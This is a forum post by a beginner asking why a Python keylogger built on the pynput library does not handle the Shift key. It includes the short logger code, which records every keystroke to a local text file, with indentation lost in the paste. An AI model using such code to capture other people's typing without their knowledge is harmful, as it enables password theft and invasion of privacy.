Hello fellow Python programmers! I'm creating a keylogger using Pynput library(not for malicious purpose of course) and I'm having a hard time figuring out why it can't recognize the shift button. Here's my code:
from pynput.keyboard import Listener
# fucntion to call when a key is pressed
def on_press(key):
key_char = str(key) # converts the key code data type to string and stores it in key_char variable
key_char = key_char.replace("'", "")
if key_char == "Key.space":
key_char = " "
if key_char == "Key.backspace":
key_char = ""
if key_char == "Key.enter":
key_char = "\n"
if key_char == "Key.shift_r":
key_char = ''
with open("pyInput.txt", "a") as f: # same as f = open("pyInput.txt" , "a") f.write(key_char), f.close()
f.write(key_char)
with Listener(
on_press=on_press)as listen: # LISTENER # on_press method and when pressed, log_text function will be called stored in listen variable
listen.join() # joins the characters together with single quotesin "if key_char == "Key.shift_r":" line, even if I change it to upper() function, it capitalizes the Key.shift_r string and not the characters being pressed. The other if statements are working. Any help will be appreciated <3
